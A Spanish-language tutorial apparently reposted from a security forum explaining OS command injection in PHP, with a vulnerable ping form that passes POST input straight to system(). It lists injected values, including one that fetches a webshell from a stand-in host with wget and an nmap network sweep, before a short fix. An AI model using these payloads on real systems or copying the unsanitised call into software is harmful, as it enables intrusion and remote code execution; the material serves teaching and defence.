Publicado inicialmente en CodeSec.org, autoría propiaExplicación
Se trata de ejecutar código arbitrario a nivel S.O.
Supongamos que tenemos una página Web, con algún software a nivel S.O. para alguna tarea, y le pasamos los parámetros adecuados por POST para hacer la llamada via system... Podemos manipular la instrucción con dos clicks
Ahora razonemos:
<?php
$val = "bin.exe $_POST["param"]";
system($val);
?>
Podemos manipular algo, y con eso basta para provocar algo. Más adelante veremos como.
Código vulnerable
<?php
if(!isset($_POST["IP"]))
{
?>
<form action="ping.php" method="POST">
IP: <input name="IP"><br>
<input type="submit" value="Ping">
</form>
<?php
} else {
system("ping ".$_POST["IP"]);
}
?>
Primer fallo, Web. No limpiar ni revisar la IP, junto a una función tan peligrosa como system (Creedme, hay increibles sorpresas con PHP...)
Segundo fallo, la forma del S.O. de concatenar instrucciones.
Ataque
Este ejemplo está tratado en Windows, aunque funciona igual bajo Linux.
Si vamos a la consola de WinBug, Windows para otros, vemos que podemos concatenar comandos de la siguiente forma:
Com1 | Com2 | Com3 | ...
Citar
>>>>>>>>echo xD > xd.txt | ping localhost
Pinging yomismo-PC [::1] with 32 bytes of data:
Reply from ::1: time<1ms
Reply from ::1: time<1ms
Reply from ::1: time<1ms
Reply from ::1: time<1ms
Ping statistics for ::1:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
>>>>>>>>type xd.txt
xD
Tenemos una instrucción que modificar... ¿Recuerdas? ¿Y si probamos?
Modifiquemos la dirección IP enviada con Live HTTP Headers, Tamper Data o similares vía POST, para concatenar un nuevo comando...
IP: 127.0.0.1 | ipconfig
Como resultado, podemos ver la configuración IP del host.
Peligros
Es una de las vulnerabilidades más críticas que conozco (Reitero que las hay mucho peores), imaginemos el siguiente caso:
Webshell:
IP: 127.0.0.1 | wget http://shell.com/shell.php
Otros xD:
IP: 127.0.0.1 | nmap -sP 192.168.*.*
Solución
La solución más estúpida es la más eficaz. Limpia la variable, y observa que esta corresponda a una dirección IP válida.
Como dijo RemoteExecution (Adivinen de donde viene el nick):
"Una vulnerabilidad sólo es tan limitada como tu quierasDudas y amenazas de muerte son bienvenidas 8)
Dedicación: Stuxnet, cph, CodeSec.org, 11SepSaludos!